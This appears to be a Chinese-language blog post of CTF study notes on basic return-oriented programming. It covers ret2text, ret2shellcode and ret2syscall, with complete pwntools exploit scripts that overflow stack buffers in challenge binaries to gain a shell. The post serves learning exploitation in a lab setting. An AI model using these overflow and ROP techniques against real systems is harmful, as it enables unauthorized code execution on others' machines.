用 p64 () 发送数据时,是发送的字节流,也就是比特流(二进制流)。

# 基本 ROP 学习

背景:NX 保护的开启 (No-eXecute, 不可执行保护)

核心思想:栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

ROP 攻击一般得满足如下条件:

  • 程序存在溢出,并且可以控制返回地址。

  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

    # ret2text

ret2text 即控制程序执行程序本身已有的的代码 (.text)。

# pwn1_1

image.png

只开了 nx 保护

read() 函数读的数据长度比输入的字符 &buf 的长度长,能够造成溢出

image.png
image.png

发现后门函数

利用 ida 计算偏移量

用返回地址减去起始地址求得偏移量,这里 buf 相对于返回地址得偏移量为 0x18

image.png

exp 直通后门

# coding=utf-8
from pwn import *
p=remote("gxh191.top",25537)
sh_addr=0x40119E
payload=b"a"*0x18+p64(sh_addr)
p.recv()
p.sendline(payload)
p.interactive()

image.png

# pwn2_1

先 checksec 查看保护 只开了 nx 保护
image.png

image.png

也是栈溢出 read 函数 读 buf 大小 0x1000
但是多了个 if 和 strlen 需要用 \0 来控制字符串长度避免 exit 了
这是因为 strlen 遇到 \0 会停止读取,在写脚本时将填充 buf 的字符换成’\0’即可绕过 strlen 的限制

image.png
image.png
image.png
直接跳转到 b4ckd00r 函数会退出运行。因此 2-1 并不能像 1-1 一样直接跳转到 b4ckd00r 就行了 而是需要通过栈溢出跳转到 path
脚本如下

from pwn import *
context(arch = 'amd64', os = 'linux')
p=remote('gxh191.top', 25540)
payload=b'\0'*16+p64(0)+p64(0x4011EF)
p.sendline(payload)
p.interactive()

# ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。

# pwn2_2

checksec 查看保护

image.png

典中典之 NX

image.png

image.png

无现成后门可用

mprotect((&phone_number & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);

发现 mprotect 函数修改了 phone_number bss 段的权限

第三个参数为 7 表示可读可写可执行

即思路是将 shellcode 写入 phone_number bss 段 再通过栈溢出来执行

from pwn import *
context(arch = 'amd64', os = 'linux',log_level='debug')
io=remote('gxh191.top', 25542)
shellcode=asm(shellcraft.sh())
payload=b'a'*16+p64(0x4040A0+0x18)+p64(0x4040A0)
io.sendlineafter('ber:',shellcode)
io.sendlineafter('uf:',payload)
io.interactive()

# ret2syscall

# 原理

ret2syscall,即控制程序执行系统调用,获取 shell。

pop eax 将栈顶数据弹到 eax 里面

# 以 ctfwiki 上的例子做一下

image.png

NX 保护

image.png

gets 栈溢出先用 cyclic 获取偏移量

image.png

得偏移量 112

应用程序调用系统调用的过程是:

把系统调用的编号存入 EAX;
把函数参数存入其它通用寄存器;
触发 0x80 号中断(int 0x80)。
[sys_execve系统调用号是11也就是0xb]

Syscall 的函数调用规范为execve(“/bin/sh”, 0,0) ;

所以,eax = 0xb | ebx = address of ‘/bin/sh’ | ecx = 0 | edx = 0

image.png

payload=b’a’*112+p32(pop_rax_ret)+p32(0xb)+p32(pop_other_ret)+p32(0)+p32(0)+p32(bin_addr)+p32(int_addr)

用 ROPgadget 获取一些命令片段的地址

image.png

先找 eax

0x080bb196 : pop eax ; ret 这个可以用

image.png

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

可以用 3 个寄存器都有了

再找’/bin/sh’字符串和 int 0x80

image.png

image.png

都找到了 可以写 exp 了

from pwn import * p=process(' ./rop') int_addr=0x8049421 bin_addr=0x80be408 pop_other_ret=0x806eb90 pop_eax_ret=0x80bb196 payload=b'a'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_other_ret)+p32(0)+p32(0)+p32(bin_addr)+p32(int_addr) p.sendline(payload) p.interactive()

运行一下 成功本地 get shell

image.png

image.gif

更新于 阅读次数